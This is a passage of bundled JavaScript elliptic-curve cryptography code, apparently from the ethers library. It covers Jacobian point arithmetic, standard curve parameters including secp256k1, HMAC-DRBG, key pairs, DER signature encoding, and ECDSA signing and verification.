this.y.redMul(zinv2).redMul(zinv);\n return this.curve.point(ax, ay);\n};\nJPoint.prototype.neg = function neg2() {\n return this.curve.jpoint(this.x, this.y.redNeg(), this.z);\n};\nJPoint.prototype.add = function add2(p) {\n if (this.isInfinity())\n return p;\n if (p.isInfinity())\n return this;\n var pz2 = p.z.redSqr();\n var z2 = this.z.redSqr();\n var u1 = this.x.redMul(pz2);\n var u2 = p.x.redMul(z2);\n var s1 = this.y.redMul(pz2.redMul(p.z));\n var s2 = p.y.redMul(z2.redMul(this.z));\n var h = u1.redSub(u2);\n var r2 = s1.redSub(s2);\n if (h.cmpn(0) === 0) {\n if (r2.cmpn(0) !== 0)\n return this.curve.jpoint(null, null, null);\n else\n return this.dbl();\n }\n var h2 = h.redSqr();\n var h3 = h2.redMul(h);\n var v = u1.redMul(h2);\n var nx = r2.redSqr().redIAdd(h3).redISub(v).redISub(v);\n var ny = r2.redMul(v.redISub(nx)).redISub(s1.redMul(h3));\n var nz = this.z.redMul(p.z).redMul(h);\n return this.curve.jpoint(nx, ny, nz);\n};\nJPoint.prototype.mixedAdd = function mixedAdd(p) {\n if (this.isInfinity())\n return p.toJ();\n if (p.isInfinity())\n return this;\n var z2 = this.z.redSqr();\n var u1 = this.x;\n var u2 = p.x.redMul(z2);\n var s1 = this.y;\n var s2 = p.y.redMul(z2).redMul(this.z);\n var h = u1.redSub(u2);\n var r2 = s1.redSub(s2);\n if (h.cmpn(0) === 0) {\n if (r2.cmpn(0) !== 0)\n return this.curve.jpoint(null, null, null);\n else\n return this.dbl();\n }\n var h2 = h.redSqr();\n var h3 = h2.redMul(h);\n var v = u1.redMul(h2);\n var nx = r2.redSqr().redIAdd(h3).redISub(v).redISub(v);\n var ny = r2.redMul(v.redISub(nx)).redISub(s1.redMul(h3));\n var nz = this.z.redMul(h);\n return this.curve.jpoint(nx, ny, nz);\n};\nJPoint.prototype.dblp = function dblp2(pow) {\n if (pow === 0)\n return this;\n if (this.isInfinity())\n return this;\n if (!pow)\n return this.dbl();\n var i;\n if (this.curve.zeroA || this.curve.threeA) {\n var r2 = this;\n for (i = 0; i < pow; i++)\n r2 = r2.dbl();\n return r2;\n }\n var a = this.curve.a;\n var tinv = this.curve.tinv;\n var jx = this.x;\n var jy = this.y;\n var jz = this.z;\n var jz4 = jz.redSqr().redSqr();\n var jyd = jy.redAdd(jy);\n for (i = 0; i < pow; i++) {\n var jx2 = jx.redSqr();\n var jyd2 = jyd.redSqr();\n var jyd4 = jyd2.redSqr();\n var c = jx2.redAdd(jx2).redIAdd(jx2).redIAdd(a.redMul(jz4));\n var t1 = jx.redMul(jyd2);\n var nx = c.redSqr().redISub(t1.redAdd(t1));\n var t2 = t1.redISub(nx);\n var dny = c.redMul(t2);\n dny = dny.redIAdd(dny).redISub(jyd4);\n var nz = jyd.redMul(jz);\n if (i + 1 < pow)\n jz4 = jz4.redMul(jyd4);\n jx = nx;\n jz = nz;\n jyd = dny;\n }\n return this.curve.jpoint(jx, jyd.redMul(tinv), jz);\n};\nJPoint.prototype.dbl = function dbl2() {\n if (this.isInfinity())\n return this;\n if (this.curve.zeroA)\n return this._zeroDbl();\n else if (this.curve.threeA)\n return this._threeDbl();\n else\n return this._dbl();\n};\nJPoint.prototype._zeroDbl = function _zeroDbl() {\n var nx;\n var ny;\n var nz;\n if (this.zOne) {\n var xx = this.x.redSqr();\n var yy = this.y.redSqr();\n var yyyy = yy.redSqr();\n var s = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy);\n s = s.redIAdd(s);\n var m = xx.redAdd(xx).redIAdd(xx);\n var t = m.redSqr().redISub(s).redISub(s);\n var yyyy8 = yyyy.redIAdd(yyyy);\n yyyy8 = yyyy8.redIAdd(yyyy8);\n yyyy8 = yyyy8.redIAdd(yyyy8);\n nx = t;\n ny = m.redMul(s.redISub(t)).redISub(yyyy8);\n nz = this.y.redAdd(this.y);\n } else {\n var a = this.x.redSqr();\n var b = this.y.redSqr();\n var c = b.redSqr();\n var d = this.x.redAdd(b).redSqr().redISub(a).redISub(c);\n d = d.redIAdd(d);\n var e = a.redAdd(a).redIAdd(a);\n var f = e.redSqr();\n var c8 = c.redIAdd(c);\n c8 = c8.redIAdd(c8);\n c8 = c8.redIAdd(c8);\n nx = f.redISub(d).redISub(d);\n ny = e.redMul(d.redISub(nx)).redISub(c8);\n nz = this.y.redMul(this.z);\n nz = nz.redIAdd(nz);\n }\n return this.curve.jpoint(nx, ny, nz);\n};\nJPoint.prototype._threeDbl = function _threeDbl() {\n var nx;\n var ny;\n var nz;\n if (this.zOne) {\n var xx = this.x.redSqr();\n var yy = this.y.redSqr();\n var yyyy = yy.redSqr();\n var s = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy);\n s = s.redIAdd(s);\n var m = xx.redAdd(xx).redIAdd(xx).redIAdd(this.curve.a);\n var t = m.redSqr().redISub(s).redISub(s);\n nx = t;\n var yyyy8 = yyyy.redIAdd(yyyy);\n yyyy8 = yyyy8.redIAdd(yyyy8);\n yyyy8 = yyyy8.redIAdd(yyyy8);\n ny = m.redMul(s.redISub(t)).redISub(yyyy8);\n nz = this.y.redAdd(this.y);\n } else {\n var delta = this.z.redSqr();\n var gamma = this.y.redSqr();\n var beta = this.x.redMul(gamma);\n var alpha = this.x.redSub(delta).redMul(this.x.redAdd(delta));\n alpha = alpha.redAdd(alpha).redIAdd(alpha);\n var beta4 = beta.redIAdd(beta);\n beta4 = beta4.redIAdd(beta4);\n var beta8 = beta4.redAdd(beta4);\n nx = alpha.redSqr().redISub(beta8);\n nz = this.y.redAdd(this.z).redSqr().redISub(gamma).redISub(delta);\n var ggamma8 = gamma.redSqr();\n ggamma8 = ggamma8.redIAdd(ggamma8);\n ggamma8 = ggamma8.redIAdd(ggamma8);\n ggamma8 = ggamma8.redIAdd(ggamma8);\n ny = alpha.redMul(beta4.redISub(nx)).redISub(ggamma8);\n }\n return this.curve.jpoint(nx, ny, nz);\n};\nJPoint.prototype._dbl = function _dbl() {\n var a = this.curve.a;\n var jx = this.x;\n var jy = this.y;\n var jz = this.z;\n var jz4 = jz.redSqr().redSqr();\n var jx2 = jx.redSqr();\n var jy2 = jy.redSqr();\n var c = jx2.redAdd(jx2).redIAdd(jx2).redIAdd(a.redMul(jz4));\n var jxd4 = jx.redAdd(jx);\n jxd4 = jxd4.redIAdd(jxd4);\n var t1 = jxd4.redMul(jy2);\n var nx = c.redSqr().redISub(t1.redAdd(t1));\n var t2 = t1.redISub(nx);\n var jyd8 = jy2.redSqr();\n jyd8 = jyd8.redIAdd(jyd8);\n jyd8 = jyd8.redIAdd(jyd8);\n jyd8 = jyd8.redIAdd(jyd8);\n var ny = c.redMul(t2).redISub(jyd8);\n var nz = jy.redAdd(jy).redMul(jz);\n return this.curve.jpoint(nx, ny, nz);\n};\nJPoint.prototype.trpl = function trpl() {\n if (!this.curve.zeroA)\n return this.dbl().add(this);\n var xx = this.x.redSqr();\n var yy = this.y.redSqr();\n var zz = this.z.redSqr();\n var yyyy = yy.redSqr();\n var m = xx.redAdd(xx).redIAdd(xx);\n var mm = m.redSqr();\n var e = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy);\n e = e.redIAdd(e);\n e = e.redAdd(e).redIAdd(e);\n e = e.redISub(mm);\n var ee = e.redSqr();\n var t = yyyy.redIAdd(yyyy);\n t = t.redIAdd(t);\n t = t.redIAdd(t);\n t = t.redIAdd(t);\n var u = m.redIAdd(e).redSqr().redISub(mm).redISub(ee).redISub(t);\n var yyu4 = yy.redMul(u);\n yyu4 = yyu4.redIAdd(yyu4);\n yyu4 = yyu4.redIAdd(yyu4);\n var nx = this.x.redMul(ee).redISub(yyu4);\n nx = nx.redIAdd(nx);\n nx = nx.redIAdd(nx);\n var ny = this.y.redMul(u.redMul(t.redISub(u)).redISub(e.redMul(ee)));\n ny = ny.redIAdd(ny);\n ny = ny.redIAdd(ny);\n ny = ny.redIAdd(ny);\n var nz = this.z.redAdd(e).redSqr().redISub(zz).redISub(ee);\n return this.curve.jpoint(nx, ny, nz);\n};\nJPoint.prototype.mul = function mul2(k, kbase) {\n k = new import_bn2.default(k, kbase);\n return this.curve._wnafMul(this, k);\n};\nJPoint.prototype.eq = function eq3(p) {\n if (p.type === \"affine\")\n return this.eq(p.toJ());\n if (this === p)\n return true;\n var z2 = this.z.redSqr();\n var pz2 = p.z.redSqr();\n if (this.x.redMul(pz2).redISub(p.x.redMul(z2)).cmpn(0) !== 0)\n return false;\n var z3 = z2.redMul(this.z);\n var pz3 = pz2.redMul(p.z);\n return this.y.redMul(pz3).redISub(p.y.redMul(z3)).cmpn(0) === 0;\n};\nJPoint.prototype.eqXToP = function eqXToP(x) {\n var zs = this.z.redSqr();\n var rx = x.toRed(this.curve.red).redMul(zs);\n if (this.x.cmp(rx) === 0)\n return true;\n var xc = x.clone();\n var t = this.curve.redN.redMul(zs);\n for (; ; ) {\n xc.iadd(this.curve.n);\n if (xc.cmp(this.curve.p) >= 0)\n return false;\n rx.redIAdd(t);\n if (this.x.cmp(rx) === 0)\n return true;\n }\n};\nJPoint.prototype.inspect = function inspect2() {\n if (this.isInfinity())\n return \"\";\n return \"\";\n};\nJPoint.prototype.isInfinity = function isInfinity2() {\n return this.z.cmpn(0) === 0;\n};\nvar curve_1 = createCommonjsModule(function(module, exports) {\n \"use strict\";\n var curve = exports;\n curve.base = base;\n curve.short = short_1;\n curve.mont = /*RicMoo:ethers:require(./mont)*/\n null;\n curve.edwards = /*RicMoo:ethers:require(./edwards)*/\n null;\n});\nvar curves_1 = createCommonjsModule(function(module, exports) {\n \"use strict\";\n var curves = exports;\n var assert2 = utils_1$1.assert;\n function PresetCurve(options) {\n if (options.type === \"short\")\n this.curve = new curve_1.short(options);\n else if (options.type === \"edwards\")\n this.curve = new curve_1.edwards(options);\n else\n this.curve = new curve_1.mont(options);\n this.g = this.curve.g;\n this.n = this.curve.n;\n this.hash = options.hash;\n assert2(this.g.validate(), \"Invalid curve\");\n assert2(this.g.mul(this.n).isInfinity(), \"Invalid curve, G*N != O\");\n }\n curves.PresetCurve = PresetCurve;\n function defineCurve(name, options) {\n Object.defineProperty(curves, name, {\n configurable: true,\n enumerable: true,\n get: function() {\n var curve = new PresetCurve(options);\n Object.defineProperty(curves, name, {\n configurable: true,\n enumerable: true,\n value: curve\n });\n return curve;\n }\n });\n }\n defineCurve(\"p192\", {\n type: \"short\",\n prime: \"p192\",\n p: \"ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff\",\n a: \"ffffffff ffffffff ffffffff fffffffe ffffffff fffffffc\",\n b: \"64210519 e59c80e7 0fa7e9ab 72243049 feb8deec c146b9b1\",\n n: \"ffffffff ffffffff ffffffff 99def836 146bc9b1 b4d22831\",\n hash: import_hash2.default.sha256,\n gRed: false,\n g: [\n \"188da80e b03090f6 7cbf20eb 43a18800 f4ff0afd 82ff1012\",\n \"07192b95 ffc8da78 631011ed 6b24cdd5 73f977a1 1e794811\"\n ]\n });\n defineCurve(\"p224\", {\n type: \"short\",\n prime: \"p224\",\n p: \"ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001\",\n a: \"ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff fffffffe\",\n b: \"b4050a85 0c04b3ab f5413256 5044b0b7 d7bfd8ba 270b3943 2355ffb4\",\n n: \"ffffffff ffffffff ffffffff ffff16a2 e0b8f03e 13dd2945 5c5c2a3d\",\n hash: import_hash2.default.sha256,\n gRed: false,\n g: [\n \"b70e0cbd 6bb4bf7f 321390b9 4a03c1d3 56c21122 343280d6 115c1d21\",\n \"bd376388 b5f723fb 4c22dfe6 cd4375a0 5a074764 44d58199 85007e34\"\n ]\n });\n defineCurve(\"p256\", {\n type: \"short\",\n prime: null,\n p: \"ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff ffffffff\",\n a: \"ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff fffffffc\",\n b: \"5ac635d8 aa3a93e7 b3ebbd55 769886bc 651d06b0 cc53b0f6 3bce3c3e 27d2604b\",\n n: \"ffffffff 00000000 ffffffff ffffffff bce6faad a7179e84 f3b9cac2 fc632551\",\n hash: import_hash2.default.sha256,\n gRed: false,\n g: [\n \"6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0 f4a13945 d898c296\",\n \"4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ece cbb64068 37bf51f5\"\n ]\n });\n defineCurve(\"p384\", {\n type: \"short\",\n prime: null,\n p: \"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 ffffffff\",\n a: \"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 fffffffc\",\n b: \"b3312fa7 e23ee7e4 988e056b e3f82d19 181d9c6e fe814112 0314088f 5013875a c656398d 8a2ed19d 2a85c8ed d3ec2aef\",\n n: \"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff c7634d81 f4372ddf 581a0db2 48b0a77a ecec196a ccc52973\",\n hash: import_hash2.default.sha384,\n gRed: false,\n g: [\n \"aa87ca22 be8b0537 8eb1c71e f320ad74 6e1d3b62 8ba79b98 59f741e0 82542a38 5502f25d bf55296c 3a545e38 72760ab7\",\n \"3617de4a 96262c6f 5d9e98bf 9292dc29 f8f41dbd 289a147c e9da3113 b5f0b8c0 0a60b1ce 1d7e819d 7a431d7c 90ea0e5f\"\n ]\n });\n defineCurve(\"p521\", {\n type: \"short\",\n prime: null,\n p: \"000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff\",\n a: \"000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffc\",\n b: \"00000051 953eb961 8e1c9a1f 929a21a0 b68540ee a2da725b 99b315f3 b8b48991 8ef109e1 56193951 ec7e937b 1652c0bd 3bb1bf07 3573df88 3d2c34f1 ef451fd4 6b503f00\",\n n: \"000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffa 51868783 bf2f966b 7fcc0148 f709a5d0 3bb5c9b8 899c47ae bb6fb71e 91386409\",\n hash: import_hash2.default.sha512,\n gRed: false,\n g: [\n \"000000c6 858e06b7 0404e9cd 9e3ecb66 2395b442 9c648139 053fb521 f828af60 6b4d3dba a14b5e77 efe75928 fe1dc127 a2ffa8de 3348b3c1 856a429b f97e7e31 c2e5bd66\",\n \"00000118 39296a78 9a3bc004 5c8a5fb4 2c7d1bd9 98f54449 579b4468 17afbd17 273e662c 97ee7299 5ef42640 c550b901 3fad0761 353c7086 a272c240 88be9476 9fd16650\"\n ]\n });\n defineCurve(\"curve25519\", {\n type: \"mont\",\n prime: \"p25519\",\n p: \"7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed\",\n a: \"76d06\",\n b: \"1\",\n n: \"1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed\",\n hash: import_hash2.default.sha256,\n gRed: false,\n g: [\n \"9\"\n ]\n });\n defineCurve(\"ed25519\", {\n type: \"edwards\",\n prime: \"p25519\",\n p: \"7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed\",\n a: \"-1\",\n c: \"1\",\n // -121665 * (121666^(-1)) (mod P)\n d: \"52036cee2b6ffe73 8cc740797779e898 00700a4d4141d8ab 75eb4dca135978a3\",\n n: \"1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed\",\n hash: import_hash2.default.sha256,\n gRed: false,\n g: [\n \"216936d3cd6e53fec0a4e231fdd6dc5c692cc7609525a7b2c9562d608f25d51a\",\n // 4/5\n \"6666666666666666666666666666666666666666666666666666666666666658\"\n ]\n });\n var pre;\n try {\n pre = /*RicMoo:ethers:require(./precomputed/secp256k1)*/\n null.crash();\n } catch (e) {\n pre = void 0;\n }\n defineCurve(\"secp256k1\", {\n type: \"short\",\n prime: \"k256\",\n p: \"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f\",\n a: \"0\",\n b: \"7\",\n n: \"ffffffff ffffffff ffffffff fffffffe baaedce6 af48a03b bfd25e8c d0364141\",\n h: \"1\",\n hash: import_hash2.default.sha256,\n // Precomputed endomorphism\n beta: \"7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee\",\n lambda: \"5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72\",\n basis: [\n {\n a: \"3086d221a7d46bcde86c90e49284eb15\",\n b: \"-e4437ed6010e88286f547fa90abfe4c3\"\n },\n {\n a: \"114ca50f7a8e2f3f657c1108d9d44cfd8\",\n b: \"3086d221a7d46bcde86c90e49284eb15\"\n }\n ],\n gRed: false,\n g: [\n \"79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\",\n \"483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8\",\n pre\n ]\n });\n});\nfunction HmacDRBG(options) {\n if (!(this instanceof HmacDRBG))\n return new HmacDRBG(options);\n this.hash = options.hash;\n this.predResist = !!options.predResist;\n this.outLen = this.hash.outSize;\n this.minEntropy = options.minEntropy || this.hash.hmacStrength;\n this._reseed = null;\n this.reseedInterval = null;\n this.K = null;\n this.V = null;\n var entropy = utils_1.toArray(options.entropy, options.entropyEnc || \"hex\");\n var nonce = utils_1.toArray(options.nonce, options.nonceEnc || \"hex\");\n var pers = utils_1.toArray(options.pers, options.persEnc || \"hex\");\n minimalisticAssert(\n entropy.length >= this.minEntropy / 8,\n \"Not enough entropy. Minimum is: \" + this.minEntropy + \" bits\"\n );\n this._init(entropy, nonce, pers);\n}\nvar hmacDrbg = HmacDRBG;\nHmacDRBG.prototype._init = function init(entropy, nonce, pers) {\n var seed = entropy.concat(nonce).concat(pers);\n this.K = new Array(this.outLen / 8);\n this.V = new Array(this.outLen / 8);\n for (var i = 0; i < this.V.length; i++) {\n this.K[i] = 0;\n this.V[i] = 1;\n }\n this._update(seed);\n this._reseed = 1;\n this.reseedInterval = 281474976710656;\n};\nHmacDRBG.prototype._hmac = function hmac() {\n return new import_hash2.default.hmac(this.hash, this.K);\n};\nHmacDRBG.prototype._update = function update(seed) {\n var kmac = this._hmac().update(this.V).update([0]);\n if (seed)\n kmac = kmac.update(seed);\n this.K = kmac.digest();\n this.V = this._hmac().update(this.V).digest();\n if (!seed)\n return;\n this.K = this._hmac().update(this.V).update([1]).update(seed).digest();\n this.V = this._hmac().update(this.V).digest();\n};\nHmacDRBG.prototype.reseed = function reseed(entropy, entropyEnc, add3, addEnc) {\n if (typeof entropyEnc !== \"string\") {\n addEnc = add3;\n add3 = entropyEnc;\n entropyEnc = null;\n }\n entropy = utils_1.toArray(entropy, entropyEnc);\n add3 = utils_1.toArray(add3, addEnc);\n minimalisticAssert(\n entropy.length >= this.minEntropy / 8,\n \"Not enough entropy. Minimum is: \" + this.minEntropy + \" bits\"\n );\n this._update(entropy.concat(add3 || []));\n this._reseed = 1;\n};\nHmacDRBG.prototype.generate = function generate(len, enc, add3, addEnc) {\n if (this._reseed > this.reseedInterval)\n throw new Error(\"Reseed is required\");\n if (typeof enc !== \"string\") {\n addEnc = add3;\n add3 = enc;\n enc = null;\n }\n if (add3) {\n add3 = utils_1.toArray(add3, addEnc || \"hex\");\n this._update(add3);\n }\n var temp = [];\n while (temp.length < len) {\n this.V = this._hmac().update(this.V).digest();\n temp = temp.concat(this.V);\n }\n var res = temp.slice(0, len);\n this._update(add3);\n this._reseed++;\n return utils_1.encode(res, enc);\n};\nvar assert$3 = utils_1$1.assert;\nfunction KeyPair(ec2, options) {\n this.ec = ec2;\n this.priv = null;\n this.pub = null;\n if (options.priv)\n this._importPrivate(options.priv, options.privEnc);\n if (options.pub)\n this._importPublic(options.pub, options.pubEnc);\n}\nvar key = KeyPair;\nKeyPair.fromPublic = function fromPublic(ec2, pub, enc) {\n if (pub instanceof KeyPair)\n return pub;\n return new KeyPair(ec2, {\n pub,\n pubEnc: enc\n });\n};\nKeyPair.fromPrivate = function fromPrivate(ec2, priv, enc) {\n if (priv instanceof KeyPair)\n return priv;\n return new KeyPair(ec2, {\n priv,\n privEnc: enc\n });\n};\nKeyPair.prototype.validate = function validate4() {\n var pub = this.getPublic();\n if (pub.isInfinity())\n return { result: false, reason: \"Invalid public key\" };\n if (!pub.validate())\n return { result: false, reason: \"Public key is not a point\" };\n if (!pub.mul(this.ec.curve.n).isInfinity())\n return { result: false, reason: \"Public key * N != O\" };\n return { result: true, reason: null };\n};\nKeyPair.prototype.getPublic = function getPublic(compact, enc) {\n if (typeof compact === \"string\") {\n enc = compact;\n compact = null;\n }\n if (!this.pub)\n this.pub = this.ec.g.mul(this.priv);\n if (!enc)\n return this.pub;\n return this.pub.encode(enc, compact);\n};\nKeyPair.prototype.getPrivate = function getPrivate(enc) {\n if (enc === \"hex\")\n return this.priv.toString(16, 2);\n else\n return this.priv;\n};\nKeyPair.prototype._importPrivate = function _importPrivate(key2, enc) {\n this.priv = new import_bn2.default(key2, enc || 16);\n this.priv = this.priv.umod(this.ec.curve.n);\n};\nKeyPair.prototype._importPublic = function _importPublic(key2, enc) {\n if (key2.x || key2.y) {\n if (this.ec.curve.type === \"mont\") {\n assert$3(key2.x, \"Need x coordinate\");\n } else if (this.ec.curve.type === \"short\" || this.ec.curve.type === \"edwards\") {\n assert$3(key2.x && key2.y, \"Need both x and y coordinate\");\n }\n this.pub = this.ec.curve.point(key2.x, key2.y);\n return;\n }\n this.pub = this.ec.curve.decodePoint(key2, enc);\n};\nKeyPair.prototype.derive = function derive(pub) {\n if (!pub.validate()) {\n assert$3(pub.validate(), \"public point not validated\");\n }\n return pub.mul(this.priv).getX();\n};\nKeyPair.prototype.sign = function sign(msg, enc, options) {\n return this.ec.sign(msg, this, enc, options);\n};\nKeyPair.prototype.verify = function verify(msg, signature2) {\n return this.ec.verify(msg, signature2, this);\n};\nKeyPair.prototype.inspect = function inspect3() {\n return \"\";\n};\nvar assert$4 = utils_1$1.assert;\nfunction Signature(options, enc) {\n if (options instanceof Signature)\n return options;\n if (this._importDER(options, enc))\n return;\n assert$4(options.r && options.s, \"Signature without r or s\");\n this.r = new import_bn2.default(options.r, 16);\n this.s = new import_bn2.default(options.s, 16);\n if (options.recoveryParam === void 0)\n this.recoveryParam = null;\n else\n this.recoveryParam = options.recoveryParam;\n}\nvar signature = Signature;\nfunction Position() {\n this.place = 0;\n}\nfunction getLength(buf, p) {\n var initial = buf[p.place++];\n if (!(initial & 128)) {\n return initial;\n }\n var octetLen = initial & 15;\n if (octetLen === 0 || octetLen > 4) {\n return false;\n }\n var val = 0;\n for (var i = 0, off = p.place; i < octetLen; i++, off++) {\n val <<= 8;\n val |= buf[off];\n val >>>= 0;\n }\n if (val <= 127) {\n return false;\n }\n p.place = off;\n return val;\n}\nfunction rmPadding(buf) {\n var i = 0;\n var len = buf.length - 1;\n while (!buf[i] && !(buf[i + 1] & 128) && i < len) {\n i++;\n }\n if (i === 0) {\n return buf;\n }\n return buf.slice(i);\n}\nSignature.prototype._importDER = function _importDER(data, enc) {\n data = utils_1$1.toArray(data, enc);\n var p = new Position();\n if (data[p.place++] !== 48) {\n return false;\n }\n var len = getLength(data, p);\n if (len === false) {\n return false;\n }\n if (len + p.place !== data.length) {\n return false;\n }\n if (data[p.place++] !== 2) {\n return false;\n }\n var rlen = getLength(data, p);\n if (rlen === false) {\n return false;\n }\n var r2 = data.slice(p.place, rlen + p.place);\n p.place += rlen;\n if (data[p.place++] !== 2) {\n return false;\n }\n var slen = getLength(data, p);\n if (slen === false) {\n return false;\n }\n if (data.length !== slen + p.place) {\n return false;\n }\n var s = data.slice(p.place, slen + p.place);\n if (r2[0] === 0) {\n if (r2[1] & 128) {\n r2 = r2.slice(1);\n } else {\n return false;\n }\n }\n if (s[0] === 0) {\n if (s[1] & 128) {\n s = s.slice(1);\n } else {\n return false;\n }\n }\n this.r = new import_bn2.default(r2);\n this.s = new import_bn2.default(s);\n this.recoveryParam = null;\n return true;\n};\nfunction constructLength(arr, len) {\n if (len < 128) {\n arr.push(len);\n return;\n }\n var octets = 1 + (Math.log(len) / Math.LN2 >>> 3);\n arr.push(octets | 128);\n while (--octets) {\n arr.push(len >>> (octets << 3) & 255);\n }\n arr.push(len);\n}\nSignature.prototype.toDER = function toDER(enc) {\n var r2 = this.r.toArray();\n var s = this.s.toArray();\n if (r2[0] & 128)\n r2 = [0].concat(r2);\n if (s[0] & 128)\n s = [0].concat(s);\n r2 = rmPadding(r2);\n s = rmPadding(s);\n while (!s[0] && !(s[1] & 128)) {\n s = s.slice(1);\n }\n var arr = [2];\n constructLength(arr, r2.length);\n arr = arr.concat(r2);\n arr.push(2);\n constructLength(arr, s.length);\n var backHalf = arr.concat(s);\n var res = [48];\n constructLength(res, backHalf.length);\n res = res.concat(backHalf);\n return utils_1$1.encode(res, enc);\n};\nvar rand = (\n /*RicMoo:ethers:require(brorand)*/\n function() {\n throw new Error(\"unsupported\");\n }\n);\nvar assert$5 = utils_1$1.assert;\nfunction EC(options) {\n if (!(this instanceof EC))\n return new EC(options);\n if (typeof options === \"string\") {\n assert$5(\n Object.prototype.hasOwnProperty.call(curves_1, options),\n \"Unknown curve \" + options\n );\n options = curves_1[options];\n }\n if (options instanceof curves_1.PresetCurve)\n options = { curve: options };\n this.curve = options.curve.curve;\n this.n = this.curve.n;\n this.nh = this.n.ushrn(1);\n this.g = this.curve.g;\n this.g = options.curve.g;\n this.g.precompute(options.curve.n.bitLength() + 1);\n this.hash = options.hash || options.curve.hash;\n}\nvar ec = EC;\nEC.prototype.keyPair = function keyPair(options) {\n return new key(this, options);\n};\nEC.prototype.keyFromPrivate = function keyFromPrivate(priv, enc) {\n return key.fromPrivate(this, priv, enc);\n};\nEC.prototype.keyFromPublic = function keyFromPublic(pub, enc) {\n return key.fromPublic(this, pub, enc);\n};\nEC.prototype.genKeyPair = function genKeyPair(options) {\n if (!options)\n options = {};\n var drbg = new hmacDrbg({\n hash: this.hash,\n pers: options.pers,\n persEnc: options.persEnc || \"utf8\",\n entropy: options.entropy || rand(this.hash.hmacStrength),\n entropyEnc: options.entropy && options.entropyEnc || \"utf8\",\n nonce: this.n.toArray()\n });\n var bytes = this.n.byteLength();\n var ns2 = this.n.sub(new import_bn2.default(2));\n for (; ; ) {\n var priv = new import_bn2.default(drbg.generate(bytes));\n if (priv.cmp(ns2) > 0)\n continue;\n priv.iaddn(1);\n return this.keyFromPrivate(priv);\n }\n};\nEC.prototype._truncateToN = function _truncateToN(msg, truncOnly) {\n var delta = msg.byteLength() * 8 - this.n.bitLength();\n if (delta > 0)\n msg = msg.ushrn(delta);\n if (!truncOnly && msg.cmp(this.n) >= 0)\n return msg.sub(this.n);\n else\n return msg;\n};\nEC.prototype.sign = function sign2(msg, key2, enc, options) {\n if (typeof enc === \"object\") {\n options = enc;\n enc = null;\n }\n if (!options)\n options = {};\n key2 = this.keyFromPrivate(key2, enc);\n msg = this._truncateToN(new import_bn2.default(msg, 16));\n var bytes = this.n.byteLength();\n var bkey = key2.getPrivate().toArray(\"be\", bytes);\n var nonce = msg.toArray(\"be\", bytes);\n var drbg = new hmacDrbg({\n hash: this.hash,\n entropy: bkey,\n nonce,\n pers: options.pers,\n persEnc: options.persEnc || \"utf8\"\n });\n var ns1 = this.n.sub(new import_bn2.default(1));\n for (var iter = 0; ; iter++) {\n var k = options.k ? options.k(iter) : new import_bn2.default(drbg.generate(this.n.byteLength()));\n k = this._truncateToN(k, true);\n if (k.cmpn(1) <= 0 || k.cmp(ns1) >= 0)\n continue;\n var kp = this.g.mul(k);\n if (kp.isInfinity())\n continue;\n var kpX = kp.getX();\n var r2 = kpX.umod(this.n);\n if (r2.cmpn(0) === 0)\n continue;\n var s = k.invm(this.n).mul(r2.mul(key2.getPrivate()).iadd(msg));\n s = s.umod(this.n);\n if (s.cmpn(0) === 0)\n continue;\n var recoveryParam = (kp.getY().isOdd() ? 1 : 0) | (kpX.cmp(r2) !== 0 ? 2 : 0);\n if (options.canonical && s.cmp(this.nh) > 0) {\n s = this.n.sub(s);\n recoveryParam ^= 1;\n }\n return new signature({ r: r2, s, recoveryParam });\n }\n};\nEC.prototype.verify = function verify2(msg, signature$1, key2, enc) {\n msg = this._truncateToN(new import_bn2.default(msg, 16));\n key2 = this.keyFromPublic(key2, enc);\n signature$1 = new signature(signature$1, \"hex\");\n var r2 = signature$1.r;\n var s = signature$1.s;\n if (r2.cmpn(1) < 0 || r2.cmp(this.n) >= 0)\n return false;\n if (s.cmpn(1) < 0 || s.cmp(this.n) >= 0)\n return false;\n var sinv = s.invm(this.n);\n var u1 = sinv.mul(msg).umod(this.n);\n var u2 = sinv.mul(r2).umod(this.n);\n var p;\n if (!this.curve._maxwellTrick) {\n p = this.g.mulAdd(u1, key2.getPublic(), u2);\n if (p.isInfinity())\n return false;\n return p.getX().umod(this.n).cmp(r2) === 0;\n }\n p = this.g.jmulAdd(u1, key2.getPublic(), u2);\n if (p.isInfinity())\n return false;\n return p.eqXToP(r2);\n};\nEC.prototype.recoverPubKey = function(msg, signature$1, j, enc) {\n assert$5((3 & j) === j, \"The recovery param is more than two bits\");\n signature$1 = new signature(signature$1, enc);\n var n = this.n;\n var e = new import_bn2.default(msg);\n var r2 = signature$1.r;\n var s = signature$1.s;\n var isYOdd = j & 1;\n var isSecondKey = j >> 1;\n if (r2.cmp(this.curve.p.umod(this.curve.n)) >= 0 && isSecondKey)\n throw new 